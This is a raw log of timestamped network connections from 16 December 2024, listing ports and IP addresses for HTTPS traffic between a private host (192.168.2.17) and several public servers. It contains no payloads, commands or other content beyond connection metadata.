Dec 16, 2024 18:45:29.434519053 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.434585094 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.436825037 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.436903000 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.466725111 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.467003107 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:29.467020035 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.468240023 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.468312025 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:29.468674898 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:29.468776941 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.468826056 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:29.471224070 CET	49743	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:29.471232891 CET	443	49743	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:29.499010086 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.499037981 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.499085903 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.499090910 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.499115944 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.499130011 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.499159098 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.499188900 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.499429941 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.500921965 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.501002073 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.512876034 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.512923956 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.512988091 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.513003111 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.513035059 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.515373945 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.519198895 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:29.519217014 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.519254923 CET	49743	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:29.524677038 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.524733067 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.524776936 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.524799109 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.524830103 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.536627054 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.536669970 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.536714077 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.536746025 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.536777973 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.545744896 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:29.546052933 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:29.546117067 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:29.546936989 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.546977043 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.547014952 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.547029018 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.547058105 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.547856092 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:29.547933102 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:29.548343897 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:29.548427105 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:29.548520088 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:29.548533916 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:29.554020882 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.554049969 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.554095030 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.554125071 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.554157019 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.557333946 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.557423115 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.557437897 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.557555914 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.565191984 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.565231085 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.565274000 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.565287113 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.565318108 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.565341949 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.566212893 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:29.575073004 CET	443	49747	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:29.575372934 CET	49747	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:29.575421095 CET	443	49747	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:29.578792095 CET	443	49747	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:29.578862906 CET	49747	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:29.579833031 CET	49747	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:29.579905033 CET	443	49747	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:29.579972029 CET	49747	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:29.579988956 CET	443	49747	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:29.581785917 CET	443	49748	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:29.582005978 CET	49748	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:29.582071066 CET	443	49748	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:29.583301067 CET	443	49748	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:29.583388090 CET	49748	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:29.584141970 CET	49748	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:29.584219933 CET	443	49748	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:29.584268093 CET	49748	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:29.598252058 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:29.629190922 CET	49747	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:29.629228115 CET	49748	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:29.629249096 CET	443	49748	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:29.676248074 CET	49748	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:29.686559916 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.686587095 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.686662912 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.686682940 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.686707973 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.686737061 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.692401886 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.692426920 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.692478895 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.692492008 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.692519903 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.692544937 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.698275089 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.698302031 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.698344946 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.698357105 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.698386908 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.698404074 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.703444004 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.703466892 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.703516960 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.703530073 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.703555107 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.703581095 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.709258080 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.709283113 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.709336996 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.709350109 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.709383965 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.709407091 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.709417105 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.714838028 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.714869976 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.714914083 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.714932919 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.714962006 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.720633984 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.720655918 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.720705986 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.720726013 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.720772982 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.726500034 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.726527929 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.726587057 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.726600885 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.726629019 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.772212029 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.783823967 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:29.784096003 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:29.784107924 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:29.785516977 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:29.785581112 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:29.785970926 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:29.786048889 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:29.786227942 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:29.786238909 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:29.836215019 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:29.876827002 CET	443	49743	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:29.877134085 CET	443	49743	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:29.877248049 CET	49743	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:29.878150940 CET	49743	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:29.878173113 CET	443	49743	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:29.878652096 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.878709078 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.878743887 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.878772020 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.878802061 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.878817081 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.879034996 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.879076004 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.879106998 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.883081913 CET	49752	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:29.883150101 CET	443	49752	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:29.883230925 CET	49752	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:29.883506060 CET	49752	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:29.883538961 CET	443	49752	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:29.923652887 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.923741102 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.923779964 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.923818111 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.923846006 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:29.923871994 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.923888922 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:29.924237013 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.924309015 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:29.924316883 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.935839891 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.936147928 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:29.936155081 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.944240093 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.944310904 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:29.944318056 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:29.994208097 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:29.999712944 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:29.999972105 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.000052929 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.000063896 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.000118017 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.000205040 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.000221968 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.008158922 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.008236885 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.008250952 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.014580011 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.014863968 CET	49749	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.014873981 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.017376900 CET	443	49750	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.017781019 CET	49750	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.017801046 CET	443	49750	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.017954111 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.018018961 CET	49749	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.018420935 CET	49749	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.018472910 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.018588066 CET	49749	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.018594027 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.019229889 CET	443	49750	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.019305944 CET	49750	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.020426035 CET	49750	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.020509958 CET	443	49750	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.020627022 CET	49750	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.020641088 CET	443	49750	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.023433924 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.023509979 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.023523092 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.043426991 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.058221102 CET	49749	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.059624910 CET	443	49747	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:30.059797049 CET	443	49747	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:30.060111046 CET	49747	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:30.060889959 CET	49747	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:30.060905933 CET	443	49747	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:30.062273026 CET	49753	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:30.062324047 CET	443	49753	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:30.062491894 CET	49753	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:30.062792063 CET	49754	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.062863111 CET	443	49754	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.062939882 CET	49754	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.063285112 CET	49755	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:30.063299894 CET	443	49755	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:30.063401937 CET	49755	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:30.063757896 CET	49753	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:30.063780069 CET	443	49753	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:30.064035892 CET	49754	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.064065933 CET	443	49754	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.064275980 CET	49755	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:30.064292908 CET	443	49755	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:30.066437960 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:30.066680908 CET	49751	443	192.168.2.17	104.18.41.124
Dec 16, 2024 18:45:30.066693068 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:30.068381071 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:30.068464994 CET	49751	443	192.168.2.17	104.18.41.124
Dec 16, 2024 18:45:30.069534063 CET	49751	443	192.168.2.17	104.18.41.124
Dec 16, 2024 18:45:30.069618940 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:30.069710970 CET	49751	443	192.168.2.17	104.18.41.124
Dec 16, 2024 18:45:30.074237108 CET	49750	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.074237108 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.074265003 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.090188980 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.098547935 CET	443	49748	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:30.098675013 CET	443	49748	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:30.098999023 CET	49748	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:30.099387884 CET	49748	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:30.099426985 CET	443	49748	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:30.100771904 CET	49733	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:30.111327887 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:30.115396976 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.119472027 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.119525909 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.119540930 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.119700909 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.119788885 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.119807005 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.122231007 CET	49751	443	192.168.2.17	104.18.41.124
Dec 16, 2024 18:45:30.122246027 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:30.129174948 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.129230976 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.129242897 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.137439013 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.137597084 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.137654066 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.137662888 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.137721062 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.143330097 CET	443	49733	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:30.145601034 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.153873920 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.153935909 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.153944969 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.162126064 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.162198067 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.162206888 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.170212030 CET	49751	443	192.168.2.17	104.18.41.124
Dec 16, 2024 18:45:30.170222044 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.170285940 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.170361996 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.170368910 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.178627014 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.178699017 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.178706884 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.186676979 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.187002897 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.187010050 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.191298008 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.199683905 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.199764967 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.199784040 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.201389074 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.201462984 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.201478004 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.205383062 CET	49756	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:30.205456972 CET	443	49756	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:30.205606937 CET	49756	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:30.205857038 CET	49756	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:30.205883980 CET	443	49756	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:30.206063032 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.206134081 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.206141949 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.207443953 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.207525969 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.207551003 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.215466976 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.215647936 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.215709925 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.223376989 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.223541021 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.223556995 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.230894089 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.230961084 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.230973959 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.235047102 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.235105991 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.235121965 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.240397930 CET	49757	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:30.240442991 CET	443	49757	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:30.240525961 CET	49757	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:30.240777016 CET	49757	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:30.240796089 CET	443	49757	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:30.241827011 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.242197990 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.242240906 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.242257118 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.242269039 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.242317915 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.242448092 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.246306896 CET	443	49745	172.64.147.16	192.168.2.17
